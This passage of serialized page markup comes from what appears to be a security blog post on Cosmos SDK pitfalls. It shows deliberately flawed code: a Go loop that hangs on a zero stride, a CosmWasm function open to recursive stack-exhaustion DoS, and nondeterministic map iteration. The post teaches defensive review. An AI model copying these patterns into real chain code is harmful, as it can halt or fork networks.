",{"type":22,"tag":264,"props":77637,"children":77638},{"style":4722},[77639],{"type":27,"value":77640},"msgServer",{"type":22,"tag":264,"props":77642,"children":77643},{"style":1539},[77644],{"type":27,"value":4390},{"type":22,"tag":264,"props":77646,"children":77647},{"style":4401},[77648],{"type":27,"value":77649},"SumWithStride",{"type":22,"tag":264,"props":77651,"children":77652},{"style":1539},[77653],{"type":27,"value":4767},{"type":22,"tag":264,"props":77655,"children":77656},{"class":1534,"line":1668},[77657,77662,77667,77671,77676],{"type":22,"tag":264,"props":77658,"children":77659},{"style":1549},[77660],{"type":27,"value":77661},"    goCtx",{"type":22,"tag":264,"props":77663,"children":77664},{"style":4722},[77665],{"type":27,"value":77666}," context",{"type":22,"tag":264,"props":77668,"children":77669},{"style":1539},[77670],{"type":27,"value":210},{"type":22,"tag":264,"props":77672,"children":77673},{"style":4722},[77674],{"type":27,"value":77675},"Context",{"type":22,"tag":264,"props":77677,"children":77678},{"style":1539},[77679],{"type":27,"value":4812},{"type":22,"tag":264,"props":77681,"children":77682},{"class":1534,"line":1677},[77683,77688,77692,77697],{"type":22,"tag":264,"props":77684,"children":77685},{"style":1549},[77686],{"type":27,"value":77687},"    msg",{"type":22,"tag":264,"props":77689,"children":77690},{"style":4309},[77691],{"type":27,"value":11115},{"type":22,"tag":264,"props":77693,"children":77694},{"style":4722},[77695],{"type":27,"value":77696},"MsgSumWithStrideParams",{"type":22,"tag":264,"props":77698,"children":77699},{"style":1539},[77700],{"type":27,"value":4812},{"type":22,"tag":264,"props":77702,"children":77703},{"class":1534,"line":1686},[77704,77709,77713,77718,77722,77726],{"type":22,"tag":264,"props":77705,"children":77706},{"style":1539},[77707],{"type":27,"value":77708},") (",{"type":22,"tag":264,"props":77710,"children":77711},{"style":4309},[77712],{"type":27,"value":5865},{"type":22,"tag":264,"props":77714,"children":77715},{"style":4722},[77716],{"type":27,"value":77717},"MsgSumWithStrideResponse",{"type":22,"tag":264,"props":77719,"children":77720},{"style":1539},[77721],{"type":27,"value":4380},{"type":22,"tag":264,"props":77723,"children":77724},{"style":4722},[77725],{"type":27,"value":16163},{"type":22,"tag":264,"props":77727,"children":77728},{"style":1539},[77729],{"type":27,"value":16103},{"type":22,"tag":264,"props":77731,"children":77732},{"class":1534,"line":4948},[77733,77738,77743,77748,77752,77756],{"type":22,"tag":264,"props":77734,"children":77735},{"style":1549},[77736],{"type":27,"value":77737},"    sum",{"type":22,"tag":264,"props":77739,"children":77740},{"style":4309},[77741],{"type":27,"value":77742}," :=",{"type":22,"tag":264,"props":77744,"children":77745},{"style":4722},[77746],{"type":27,"value":77747}," uint64",{"type":22,"tag":264,"props":77749,"children":77750},{"style":1539},[77751],{"type":27,"value":2660},{"type":22,"tag":264,"props":77753,"children":77754},{"style":4344},[77755],{"type":27,"value":5334},{"type":22,"tag":264,"props":77757,"children":77758},{"style":1539},[77759],{"type":27,"value":4463},{"type":22,"tag":264,"props":77761,"children":77762},{"class":1534,"line":4957},[77763,77768,77772,77776,77780,77784,77788,77792,77796,77801],{"type":22,"tag":264,"props":77764,"children":77765},{"style":1549},[77766],{"type":27,"value":77767},"    end",{"type":22,"tag":264,"props":77769,"children":77770},{"style":4309},[77771],{"type":27,"value":77742},{"type":22,"tag":264,"props":77773,"children":77774},{"style":4722},[77775],{"type":27,"value":77747},{"type":22,"tag":264,"props":77777,"children":77778},{"style":1539},[77779],{"type":27,"value":2660},{"type":22,"tag":264,"props":77781,"children":77782},{"style":4401},[77783],{"type":27,"value":10436},{"type":22,"tag":264,"props":77785,"children":77786},{"style":1539},[77787],{"type":27,"value":2660},{"type":22,"tag":264,"props":77789,"children":77790},{"style":1549},[77791],{"type":27,"value":59267},{"type":22,"tag":264,"props":77793,"children":77794},{"style":1539},[77795],{"type":27,"value":210},{"type":22,"tag":264,"props":77797,"children":77798},{"style":1549},[77799],{"type":27,"value":77800},"Arr",{"type":22,"tag":264,"props":77802,"children":77803},{"style":1539},[77804],{"type":27,"value":21018},{"type":22,"tag":264,"props":77806,"children":77807},{"class":1534,"line":4980},[77808,77812,77817,77821,77826,77830,77835,77839,77844,77848,77853,77857,77861,77865,77869,77873,77878],{"type":22,"tag":264,"props":77809,"children":77810},{"style":4328},[77811],{"type":27,"value":4331},{"type":22,"tag":264,"props":77813,"children":77814},{"style":1549},[77815],{"type":27,"value":77816}," idx",{"type":22,"tag":264,"props":77818,"children":77819},{"style":4309},[77820],{"type":27,"value":77742},{"type":22,"tag":264,"props":77822,"children":77823},{"style":1549},[77824],{"type":27,"value":77825}," msg",{"type":22,"tag":264,"props":77827,"children":77828},{"style":1539},[77829],{"type":27,"value":210},{"type":22,"tag":264,"props":77831,"children":77832},{"style":1549},[77833],{"type":27,"value":77834},"Start",{"type":22,"tag":264,"props":77836,"children":77837},{"style":1539},[77838],{"type":27,"value":18529},{"type":22,"tag":264,"props":77840,"children":77841},{"style":1549},[77842],{"type":27,"value":77843},"idx",{"type":22,"tag":264,"props":77845,"children":77846},{"style":4309},[77847],{"type":27,"value":10014},{"type":22,"tag":264,"props":77849,"children":77850},{"style":1549},[77851],{"type":27,"value":77852}," end",{"type":22,"tag":264,"props":77854,"children":77855},{"style":1539},[77856],{"type":27,"value":18529},{"type":22,"tag":264,"props":77858,"children":77859},{"style":1549},[77860],{"type":27,"value":77843},{"type":22,"tag":264,"props":77862,"children":77863},{"style":4309},[77864],{"type":27,"value":16364},{"type":22,"tag":264,"props":77866,"children":77867},{"style":1549},[77868],{"type":27,"value":77825},{"type":22,"tag":264,"props":77870,"children":77871},{"style":1539},[77872],{"type":27,"value":210},{"type":22,"tag":264,"props":77874,"children":77875},{"style":1549},[77876],{"type":27,"value":77877},"Stride",{"type":22,"tag":264,"props":77879,"children":77880},{"style":1539},[77881],{"type":27,"value":4594},{"type":22,"tag":264,"props":77883,"children":77884},{"class":1534,"line":4989},[77885,77890,77894,77898,77902,77906,77910,77914],{"type":22,"tag":264,"props":77886,"children":77887},{"style":1549},[77888],{"type":27,"value":77889},"        sum",{"type":22,"tag":264,"props":77891,"children":77892},{"style":4309},[77893],{"type":27,"value":16364},{"type":22,"tag":264,"props":77895,"children":77896},{"style":1549},[77897],{"type":27,"value":77825},{"type":22,"tag":264,"props":77899,"children":77900},{"style":1539},[77901],{"type":27,"value":210},{"type":22,"tag":264,"props":77903,"children":77904},{"style":1549},[77905],{"type":27,"value":77800},{"type":22,"tag":264,"props":77907,"children":77908},{"style":1539},[77909],{"type":27,"value":5045},{"type":22,"tag":264,"props":77911,"children":77912},{"style":1549},[77913],{"type":27,"value":77843},{"type":22,"tag":264,"props":77915,"children":77916},{"style":1539},[77917],{"type":27,"value":13071},{"type":22,"tag":264,"props":77919,"children":77920},{"class":1534,"line":4998},[77921],{"type":22,"tag":264,"props":77922,"children":77923},{"style":1539},[77924],{"type":27,"value":1674},{"type":22,"tag":264,"props":77926,"children":77927},{"class":1534,"line":5067},[77928,77932,77936,77940,77945,77950,77954,77959,77964],{"type":22,"tag":264,"props":77929,"children":77930},{"style":4328},[77931],{"type":27,"value":18291},{"type":22,"tag":264,"props":77933,"children":77934},{"style":4309},[77935],{"type":27,"value":8434},{"type":22,"tag":264,"props":77937,"children":77938},{"style":4722},[77939],{"type":27,"value":77717},{"type":22,"tag":264,"props":77941,"children":77942},{"style":1539},[77943],{"type":27,"value":77944},"{",{"type":22,"tag":264,"props":77946,"children":77947},{"style":1549},[77948],{"type":27,"value":77949},"Sum",{"type":22,"tag":264,"props":77951,"children":77952},{"style":1539},[77953],{"type":27,"value":1594},{"type":22,"tag":264,"props":77955,"children":77956},{"style":1549},[77957],{"type":27,"value":77958},"sum",{"type":22,"tag":264,"props":77960,"children":77961},{"style":1539},[77962],{"type":27,"value":77963},"}, ",{"type":22,"tag":264,"props":77965,"children":77966},{"style":4293},[77967],{"type":27,"value":77968},"nil\n",{"type":22,"tag":264,"props":77970,"children":77971},{"class":1534,"line":5075},[77972],{"type":22,"tag":264,"props":77973,"children":77974},{"style":1539},[77975],{"type":27,"value":1692},{"type":22,"tag":23,"props":77977,"children":77978},{},[77979,77981,77986,77987,77993],{"type":27,"value":77980},"The provided Solidity / Cosmos snippets feature a public function that calculates the sums of an array using a provided starting ",{"type":22,"tag":257,"props":77982,"children":77984},{"className":77983},[],[77985],{"type":27,"value":77843},{"type":27,"value":8607},{"type":22,"tag":257,"props":77988,"children":77990},{"className":77989},[],[77991],{"type":27,"value":77992},"stride",{"type":27,"value":77994},". It is crucial to note that this function lacks robustness. A keen observer might have already identified that if the user supplies a stride value of 0, the code will result in an infinite loop.",{"type":22,"tag":23,"props":77996,"children":77997},{},[77998],{"type":27,"value":77999},"While an infinite loop is not ideal for Solidity, it may still be tolerable. The underlying blockchain on which a smart contract operates is responsible for monitoring the gas and computation budget. It will intervene and terminate the execution at a certain point. Interestingly, those types of \"unhandled error\" patterns are quite common occurrences in contracts.",{"type":22,"tag":23,"props":78001,"children":78002},{},[78003],{"type":27,"value":78004},"However, the same logic does not directly apply to Cosmos. In Cosmos, users are responsible for implementing the entire L1, and there is no underlying computation budget tracker that automatically stops code execution. As a result, any potential logic DoS or infinite loop can directly lead to the custom Cosmos L1 chain halting or stalling.",{"type":22,"tag":23,"props":78006,"children":78007},{},[78008],{"type":27,"value":78009},"This toy scenario captures the importance of attention to error handling, edge cases, and overall robustness in Cosmos.",{"type":22,"tag":181,"props":78011,"children":78013},{"id":78012},"real-world-examples",[78014],{"type":27,"value":78015},"Real-World Examples",{"type":22,"tag":23,"props":78017,"children":78018},{},[78019],{"type":27,"value":78020},"Now, let's examine a few real-world instances.",{"type":22,"tag":23,"props":78022,"children":78023},{},[78024,78026,78032,78033,78039,78041,78047,78049,78055],{"type":27,"value":78025},"In the case of ",{"type":22,"tag":69,"props":78027,"children":78030},{"href":78028,"rel":78029},"https://github.com/JumpCrypto/security-research/blob/e900a400f763075bdae161f4fd6e36d70da1d844/advisories/2023-003-cosmwasm.md",[73],[78031],{"type":27,"value":18996},{"type":27,"value":7750},{"type":22,"tag":257,"props":78034,"children":78036},{"className":78035},[],[78037],{"type":27,"value":78038},"CosmWasm",{"type":27,"value":78040}," bug, the helper method ",{"type":22,"tag":257,"props":78042,"children":78044},{"className":78043},[],[78045],{"type":27,"value":78046},"write_to_contract",{"type":27,"value":78048}," negligently calls the untrusted Wasm function ",{"type":22,"tag":257,"props":78050,"children":78052},{"className":78051},[],[78053],{"type":27,"value":78054},"\"allocate\"",{"type":27,"value":210},{"type":22,"tag":23,"props":78057,"children":78058},{},[78059],{"type":22,"tag":69,"props":78060,"children":78063},{"href":78061,"rel":78062},"https://github.com/CosmWasm/cosmwasm/blob/db426f9b15eabf18359df62878847bbaa7cb85ef/packages/vm/src/imports.rs#L409",[73],[78064],{"type":27,"value":78065},"Permalink for snippet",{"type":22,"tag":618,"props":78067,"children":78069},{"code":78068,"language":4273,"meta":7,"className":4274,"style":7},"fn write_to_contract\u003CA: BackendApi, S: Storage, Q: Querier>(\n    env: &Environment\u003CA, S, Q>,\n    input: &[u8],\n) -> VmResult\u003Cu32> {\n    let out_size = to_u32(input.len())?;\n    let result = env.call_function1(\"allocate\", &[out_size.into()])?;\n    let target_ptr = ref_to_u32(&result)?;\n    if target_ptr == 0 {\n        return Err(CommunicationError::zero_address().into());\n    }\n    write_region(&env.memory(), target_ptr, input)?;\n    Ok(target_ptr)\n}\n",[78070],{"type":22,"tag":257,"props":78071,"children":78072},{"__ignoreMap":7},[78073,78142,78190,78218,78247,78296,78370,78415,78438,78483,78490,78547,78566],{"type":22,"tag":264,"props":78074,"children":78075},{"class":1534,"line":1535},[78076,78080,78085,78089,78094,78098,78103,78107,78111,78115,78120,78124,78129,78133,78138],{"type":22,"tag":264,"props":78077,"children":78078},{"style":4293},[78079],{"type":27,"value":21573},{"type":22,"tag":264,"props":78081,"children":78082},{"style":4401},[78083],{"type":27,"value":78084}," write_to_contract",{"type":22,"tag":264,"props":78086,"children":78087},{"style":1539},[78088],{"type":27,"value":7097},{"type":22,"tag":264,"props":78090,"children":78091},{"style":4722},[78092],{"type":27,"value":78093},"A",{"type":22,"tag":264,"props":78095,"children":78096},{"style":4309},[78097],{"type":27,"value":5785},{"type":22,"tag":264,"props":78099,"children":78100},{"style":4722},[78101],{"type":27,"value":78102}," BackendApi",{"type":22,"tag":264,"props":78104,"children":78105},{"style":1539},[78106],{"type":27,"value":4380},{"type":22,"tag":264,"props":78108,"children":78109},{"style":4722},[78110],{"type":27,"value":23350},{"type":22,"tag":264,"props":78112,"children":78113},{"style":4309},[78114],{"type":27,"value":5785},{"type":22,"tag":264,"props":78116,"children":78117},{"style":4722},[78118],{"type":27,"value":78119}," Storage",{"type":22,"tag":264,"props":78121,"children":78122},{"style":1539},[78123],{"type":27,"value":4380},{"type":22,"tag":264,"props":78125,"children":78126},{"style":4722},[78127],{"type":27,"value":78128},"Q",{"type":22,"tag":264,"props":78130,"children":78131},{"style":4309},[78132],{"type":27,"value":5785},{"type":22,"tag":264,"props":78134,"children":78135},{"style":4722},[78136],{"type":27,"value":78137}," Querier",{"type":22,"tag":264,"props":78139,"children":78140},{"style":1539},[78141],{"type":27,"value":7881},{"type":22,"tag":264,"props":78143,"children":78144},{"class":1534,"line":1545},[78145,78149,78153,78157,78162,78166,78170,78174,78178,78182,78186],{"type":22,"tag":264,"props":78146,"children":78147},{"style":1549},[78148],{"type":27,"value":5159},{"type":22,"tag":264,"props":78150,"children":78151},{"style":4309},[78152],{"type":27,"value":5785},{"type":22,"tag":264,"props":78154,"children":78155},{"style":4309},[78156],{"type":27,"value":8434},{"type":22,"tag":264,"props":78158,"children":78159},{"style":4722},[78160],{"type":27,"value":78161},"Environment",{"type":22,"tag":264,"props":78163,"children":78164},{"style":1539},[78165],{"type":27,"value":7097},{"type":22,"tag":264,"props":78167,"children":78168},{"style":4722},[78169],{"type":27,"value":78093},{"type":22,"tag":264,"props":78171,"children":78172},{"style":1539},[78173],{"type":27,"value":4380},{"type":22,"tag":264,"props":78175,"children":78176},{"style":4722},[78177],{"type":27,"value":23350},{"type":22,"tag":264,"props":78179,"children":78180},{"style":1539},[78181],{"type":27,"value":4380},{"type":22,"tag":264,"props":78183,"children":78184},{"style":4722},[78185],{"type":27,"value":78128},{"type":22,"tag":264,"props":78187,"children":78188},{"style":1539},[78189],{"type":27,"value":7430},{"type":22,"tag":264,"props":78191,"children":78192},{"class":1534,"line":1560},[78193,78198,78202,78206,78210,78214],{"type":22,"tag":264,"props":78194,"children":78195},{"style":1549},[78196],{"type":27,"value":78197},"    input",{"type":22,"tag":264,"props":78199,"children":78200},{"style":4309},[78201],{"type":27,"value":5785},{"type":22,"tag":264,"props":78203,"children":78204},{"style":4309},[78205],{"type":27,"value":8434},{"type":22,"tag":264,"props":78207,"children":78208},{"style":1539},[78209],{"type":27,"value":5045},{"type":22,"tag":264,"props":78211,"children":78212},{"style":4722},[78213],{"type":27,"value":4725},{"type":22,"tag":264,"props":78215,"children":78216},{"style":1539},[78217],{"type":27,"value":15562},{"type":22,"tag":264,"props":78219,"children":78220},{"class":1534,"line":1569},[78221,78225,78229,78234,78238,78243],{"type":22,"tag":264,"props":78222,"children":78223},{"style":1539},[78224],{"type":27,"value":4390},{"type":22,"tag":264,"props":78226,"children":78227},{"style":4309},[78228],{"type":27,"value":15056},{"type":22,"tag":264,"props":78230,"children":78231},{"style":4722},[78232],{"type":27,"value":78233}," VmResult",{"type":22,"tag":264,"props":78235,"children":78236},{"style":1539},[78237],{"type":27,"value":7097},{"type":22,"tag":264,"props":78239,"children":78240},{"style":4722},[78241],{"type":27,"value":78242},"u32",{"type":22,"tag":264,"props":78244,"children":78245},{"style":1539},[78246],{"type":27,"value":8574},{"type":22,"tag":264,"props":78248,"children":78249},{"class":1534,"line":1583},[78250,78254,78259,78263,78268,78272,78276,78280,78284,78288,78292],{"type":22,"tag":264,"props":78251,"children":78252},{"style":4293},[78253],{"type":27,"value":4296},{"type":22,"tag":264,"props":78255,"children":78256},{"style":1549},[78257],{"type":27,"value":78258}," out_size",{"type":22,"tag":264,"props":78260,"children":78261},{"style":4309},[78262],{"type":27,"value":4312},{"type":22,"tag":264,"props":78264,"children":78265},{"style":4401},[78266],{"type":27,"value":78267}," to_u32",{"type":22,"tag":264,"props":78269,"children":78270},{"style":1539},[78271],{"type":27,"value":2660},{"type":22,"tag":264,"props":78273,"children":78274},{"style":1549},[78275],{"type":27,"value":9661},{"type":22,"tag":264,"props":78277,"children":78278},{"style":4309},[78279],{"type":27,"value":210},{"type":22,"tag":264,"props":78281,"children":78282},{"style":4401},[78283],{"type":27,"value":10436},{"type":22,"tag":264,"props":78285,"children":78286},{"style":1539},[78287],{"type":27,"value":43280},{"type":22,"tag":264,"props":78289,"children":78290},{"style":4309},[78291],{"type":27,"value":4458},{"type":22,"tag":264,"props":78293,"children":78294},{"style":1539},[78295],{"type":27,"value":4322},{"type":22,"tag":264,"props":78297,"children":78298},{"class":1534,"line":1603},[78299,78303,78307,78311,78315,78319,78324,78328,78332,78336,78340,78344,78349,78353,78357,78362,78366],{"type":22,"tag":264,"props":78300,"children":78301},{"style":4293},[78302],{"type":27,"value":4296},{"type":22,"tag":264,"props":78304,"children":78305},{"style":1549},[78306],{"type":27,"value":10457},{"type":22,"tag":264,"props":78308,"children":78309},{"style":4309},[78310],{"type":27,"value":4312},{"type":22,"tag":264,"props":78312,"children":78313},{"style":1549},[78314],{"type":27,"value":44274},{"type":22,"tag":264,"props":78316,"children":78317},{"style":4309},[78318],{"type":27,"value":210},{"type":22,"tag":264,"props":78320,"children":78321},{"style":4401},[78322],{"type":27,"value":78323},"call_function1",{"type":22,"tag":264,"props":78325,"children":78326},{"style":1539},[78327],{"type":27,"value":2660},{"type":22,"tag":264,"props":78329,"children":78330},{"style":1597},[78331],{"type":27,"value":78054},{"type":22,"tag":264,"props":78333,"children":78334},{"style":1539},[78335],{"type":27,"value":4380},{"type":22,"tag":264,"props":78337,"children":78338},{"style":4309},[78339],{"type":27,"value":4413},{"type":22,"tag":264,"props":78341,"children":78342},{"style":1539},[78343],{"type":27,"value":5045},{"type":22,"tag":264,"props":78345,"children":78346},{"style":1549},[78347],{"type":27,"value":78348},"out_size",{"type":22,"tag":264,"props":78350,"children":78351},{"style":4309},[78352],{"type":27,"value":210},{"type":22,"tag":264,"props":78354,"children":78355},{"style":4401},[78356],{"type":27,"value":16185},{"type":22,"tag":264,"props":78358,"children":78359},{"style":1539},[78360],{"type":27,"value":78361},"()])",{"type":22,"tag":264,"props":78363,"children":78364},{"style":4309},[78365],{"type":27,"value":4458},{"type":22,"tag":264,"props":78367,"children":78368},{"style":1539},[78369],{"type":27,"value":4322},{"type":22,"tag":264,"props":78371,"children":78372},{"class":1534,"line":1612},[78373,78377,78382,78386,78391,78395,78399,78403,78407,78411],{"type":22,"tag":264,"props":78374,"children":78375},{"style":4293},[78376],{"type":27,"value":4296},{"type":22,"tag":264,"props":78378,"children":78379},{"style":1549},[78380],{"type":27,"value":78381}," target_ptr",{"type":22,"tag":264,"props":78383,"children":78384},{"style":4309},[78385],{"type":27,"value":4312},{"type":22,"tag":264,"props":78387,"children":78388},{"style":4401},[78389],{"type":27,"value":78390}," ref_to_u32",{"type":22,"tag":264,"props":78392,"children":78393},{"style":1539},[78394],{"type":27,"value":2660},{"type":22,"tag":264,"props":78396,"children":78397},{"style":4309},[78398],{"type":27,"value":4413},{"type":22,"tag":264,"props":78400,"children":78401},{"style":1549},[78402],{"type":27,"value":10379},{"type":22,"tag":264,"props":78404,"children":78405},{"style":1539},[78406],{"type":27,"value":2806},{"type":22,"tag":264,"props":78408,"children":78409},{"style":4309},[78410],{"type":27,"value":4458},{"type":22,"tag":264,"props":78412,"children":78413},{"style":1539},[78414],{"type":27,"value":4322},{"type":22,"tag":264,"props":78416,"children":78417},{"class":1534,"line":1621},[78418,78422,78426,78430,78434],{"type":22,"tag":264,"props":78419,"children":78420},{"style":4328},[78421],{"type":27,"value":13578},{"type":22,"tag":264,"props":78423,"children":78424},{"style":1549},[78425],{"type":27,"value":78381},{"type":22,"tag":264,"props":78427,"children":78428},{"style":4309},[78429],{"type":27,"value":4585},{"type":22,"tag":264,"props":78431,"children":78432},{"style":4344},[78433],{"type":27,"value":4347},{"type":22,"tag":264,"props":78435,"children":78436},{"style":1539},[78437],{"type":27,"value":4594},{"type":22,"tag":264,"props":78439,"children":78440},{"class":1534,"line":1629},[78441,78445,78449,78453,78458,78462,78467,78471,78475,78479],{"type":22,"tag":264,"props":78442,"children":78443},{"style":4328},[78444],{"type":27,"value":17044},{"type":22,"tag":264,"props":78446,"children":78447},{"style":4722},[78448],{"type":27,"value":17049},{"type":22,"tag":264,"props":78450,"children":78451},{"style":1539},[78452],{"type":27,"value":2660},{"type":22,"tag":264,"props":78454,"children":78455},{"style":4722},[78456],{"type":27,"value":78457},"CommunicationError",{"type":22,"tag":264,"props":78459,"children":78460},{"style":4309},[78461],{"type":27,"value":4785},{"type":22,"tag":264,"props":78463,"children":78464},{"style":4401},[78465],{"type":27,"value":78466},"zero_address",{"type":22,"tag":264,"props":78468,"children":78469},{"style":1539},[78470],{"type":27,"value":15178},{"type":22,"tag":264,"props":78472,"children":78473},{"style":4309},[78474],{"type":27,"value":210},{"type":22,"tag":264,"props":78476,"children":78477},{"style":4401},[78478],{"type":27,"value":16185},{"type":22,"tag":264,"props":78480,"children":78481},{"style":1539},[78482],{"type":27,"value":16724},{"type":22,"tag":264,"props":78484,"children":78485},{"class":1534,"line":1642},[78486],{"type":22,"tag":264,"props":78487,"children":78488},{"style":1539},[78489],{"type":27,"value":1674},{"type":22,"tag":264,"props":78491,"children":78492},{"class":1534,"line":1660},[78493,78498,78502,78506,78510,78514,78518,78522,78527,78531,78535,78539,78543],{"type":22,"tag":264,"props":78494,"children":78495},{"style":4401},[78496],{"type":27,"value":78497},"    write_region",{"type":22,"tag":264,"props":78499,"children":78500},{"style":1539},[78501],{"type":27,"value":2660},{"type":22,"tag":264,"props":78503,"children":78504},{"style":4309},[78505],{"type":27,"value":4413},{"type":22,"tag":264,"props":78507,"children":78508},{"style":1549},[78509],{"type":27,"value":37005},{"type":22,"tag":264,"props":78511,"children":78512},{"style":4309},[78513],{"type":27,"value":210},{"type":22,"tag":264,"props":78515,"children":78516},{"style":4401},[78517],{"type":27,"value":77298},{"type":22,"tag":264,"props":78519,"children":78520},{"style":1539},[78521],{"type":27,"value":19678},{"type":22,"tag":264,"props":78523,"children":78524},{"style":1549},[78525],{"type":27,"value":78526},"target_ptr",{"type":22,"tag":264,"props":78528,"children":78529},{"style":1539},[78530],{"type":27,"value":4380},{"type":22,"tag":264,"props":78532,"children":78533},{"style":1549},[78534],{"type":27,"value":9661},{"type":22,"tag":264,"props":78536,"children":78537},{"style":1539},[78538],{"type":27,"value":2806},{"type":22,"tag":264,"props":78540,"children":78541},{"style":4309},[78542],{"type":27,"value":4458},{"type":22,"tag":264,"props":78544,"children":78545},{"style":1539},[78546],{"type":27,"value":4322},{"type":22,"tag":264,"props":78548,"children":78549},{"class":1534,"line":1668},[78550,78554,78558,78562],{"type":22,"tag":264,"props":78551,"children":78552},{"style":4722},[78553],{"type":27,"value":15632},{"type":22,"tag":264,"props":78555,"children":78556},{"style":1539},[78557],{"type":27,"value":2660},{"type":22,"tag":264,"props":78559,"children":78560},{"style":1549},[78561],{"type":27,"value":78526},{"type":22,"tag":264,"props":78563,"children":78564},{"style":1539},[78565],{"type":27,"value":4463},{"type":22,"tag":264,"props":78567,"children":78568},{"class":1534,"line":1677},[78569],{"type":22,"tag":264,"props":78570,"children":78571},{"style":1539},[78572],{"type":27,"value":1692},{"type":22,"tag":23,"props":78574,"children":78575},{},[78576,78578,78584,78586,78591],{"type":27,"value":78577},"As users have complete control over ",{"type":22,"tag":257,"props":78579,"children":78581},{"className":78580},[],[78582],{"type":27,"value":78583},"allocate",{"type":27,"value":78585},", there is a possibility to call back ",{"type":22,"tag":257,"props":78587,"children":78589},{"className":78588},[],[78590],{"type":27,"value":78046},{"type":27,"value":78592}," repeatedly through other imported functions. This can result in the depletion of the host stack and ultimately lead to a DoS.",{"type":22,"tag":23,"props":78594,"children":78595},{},[78596,78598,78605],{"type":27,"value":78597},"Additional real-world examples include ",{"type":22,"tag":69,"props":78599,"children":78602},{"href":78600,"rel":78601},"https://github.com/cosmos/cosmos-sdk/issues/16676",[73],[78603],{"type":27,"value":78604},"not returning proper values for malformed txs",{"type":27,"value":210},{"type":22,"tag":169,"props":78607,"children":78609},{"id":78608},"order-was-the-dream-of-man",[78610],{"type":27,"value":78611},"Order Was the Dream of Man",{"type":22,"tag":23,"props":78613,"children":78614},{},[78615],{"type":27,"value":78616},"Different from solidity, which is a domain-specific language for smart contracts, Golang is not. Therefore, developers must be mindful of specific footguns. One notable instance is non-determinism.",{"type":22,"tag":23,"props":78618,"children":78619},{},[78620],{"type":27,"value":78621},"Consider a scenario where there is a requirement to emit an event for every entry in a map. It might be tempting to implement this as demonstrated below:",{"type":22,"tag":618,"props":78623,"children":78625},{"code":78624,"language":77490,"meta":7,"className":77491,"style":7},"type ObjectMap map[string]string\n\nfunc EmitEntries(objectMap ObjectMap) {\n    for key, value := range objectMap {\n        ctx.EventManager.EmitEvent(\n            sdk.NewEvent(\n                \"MapContext\",\n                sdk.NewAttribute(key, value),\n            )\n        )\n    }\n}\n",[78626],{"type":22,"tag":257,"props":78627,"children":78628},{"__ignoreMap":7},[78629,78662,78669,78698,78735,78764,78785,78797,78834,78842,78849,78856],{"type":22,"tag":264,"props":78630,"children":78631},{"class":1534,"line":1535},[78632,78636,78641,78645,78649,78653,78657],{"type":22,"tag":264,"props":78633,"children":78634},{"style":4293},[78635],{"type":27,"value":34072},{"type":22,"tag":264,"props":78637,"children":78638},{"style":4722},[78639],{"type":27,"value":78640}," ObjectMap",{"type":22,"tag":264,"props":78642,"children":78643},{"style":4293},[78644],{"type":27,"value":50989},{"type":22,"tag":264,"props":78646,"children":78647},{"style":1539},[78648],{"type":27,"value":5045},{"type":22,"tag":264,"props":78650,"children":78651},{"style":4722},[78652],{"type":27,"value":30980},{"type":22,"tag":264,"props":78654,"children":78655},{"style":1539},[78656],{"type":27,"value":16710},{"type":22,"tag":264,"props":78658,"children":78659},{"style":4722},[78660],{"type":27,"value":78661},"string\n",{"type":22,"tag":264,"props":78663,"children":78664},{"class":1534,"line":1545},[78665],{"type":22,"tag":264,"props":78666,"children":78667},{"emptyLinePlaceholder":17},[78668],{"type":27,"value":4986},{"type":22,"tag":264,"props":78670,"children":78671},{"class":1534,"line":1560},[78672,78676,78681,78685,78690,78694],{"type":22,"tag":264,"props":78673,"children":78674},{"style":4293},[78675],{"type":27,"value":77626},{"type":22,"tag":264,"props":78677,"children":78678},{"style":4401},[78679],{"type":27,"value":78680}," EmitEntries",{"type":22,"tag":264,"props":78682,"children":78683},{"style":1539},[78684],{"type":27,"value":2660},{"type":22,"tag":264,"props":78686,"children":78687},{"style":1549},[78688],{"type":27,"value":78689},"objectMap",{"type":22,"tag":264,"props":78691,"children":78692},{"style":4722},[78693],{"type":27,"value":78640},{"type":22,"tag":264,"props":78695,"children":78696},{"style":1539},[78697],{"type":27,"value":16103},{"type":22,"tag":264,"props":78699,"children":78700},{"class":1534,"line":1569},[78701,78705,78709,78713,78717,78721,78726,78731],{"type":22,"tag":264,"props":78702,"children":78703},{"style":4328},[78704],{"type":27,"value":4331},{"type":22,"tag":264,"props":78706,"children":78707},{"style":1549},[78708],{"type":27,"value":7223},{"type":22,"tag":264,"props":78710,"children":78711},{"style":1539},[78712],{"type":27,"value":4380},{"type":22,"tag":264,"props":78714,"children":78715},{"style":1549},[78716],{"type":27,"value":40466},{"type":22,"tag":264,"props":78718,"children":78719},{"style":4309},[78720],{"type":27,"value":77742},{"type":22,"tag":264,"props":78722,"children":78723},{"style":4328},[78724],{"type":27,"value":78725}," range",{"type":22,"tag":264,"props":78727,"children":78728},{"style":1549},[78729],{"type":27,"value":78730}," objectMap",{"type":22,"tag":264,"props":78732,"children":78733},{"style":1539},[78734],{"type":27,"value":4594},{"type":22,"tag":264,"props":78736,"children":78737},{"class":1534,"line":1583},[78738,78742,78746,78751,78755,78760],{"type":22,"tag":264,"props":78739,"children":78740},{"style":1549},[78741],{"type":27,"value":27498},{"type":22,"tag":264,"props":78743,"children":78744},{"style":1539},[78745],{"type":27,"value":210},{"type":22,"tag":264,"props":78747,"children":78748},{"style":1549},[78749],{"type":27,"value":78750},"EventManager",{"type":22,"tag":264,"props":78752,"children":78753},{"style":1539},[78754],{"type":27,"value":210},{"type":22,"tag":264,"props":78756,"children":78757},{"style":4401},[78758],{"type":27,"value":78759},"EmitEvent",{"type":22,"tag":264,"props":78761,"children":78762},{"style":1539},[78763],{"type":27,"value":4767},{"type":22,"tag":264,"props":78765,"children":78766},{"class":1534,"line":1603},[78767,78772,78776,78781],{"type":22,"tag":264,"props":78768,"children":78769},{"style":1549},[78770],{"type":27,"value":78771},"            sdk",{"type":22,"tag":264,"props":78773,"children":78774},{"style":1539},[78775],{"type":27,"value":210},{"type":22,"tag":264,"props":78777,"children":78778},{"style":4401},[78779],{"type":27,"value":78780},"NewEvent",{"type":22,"tag":264,"props":78782,"children":78783},{"style":1539},[78784],{"type":27,"value":4767},{"type":22,"tag":264,"props":78786,"children":78787},{"class":1534,"line":1612},[78788,78793],{"type":22,"tag":264,"props":78789,"children":78790},{"style":1597},[78791],{"type":27,"value":78792},"                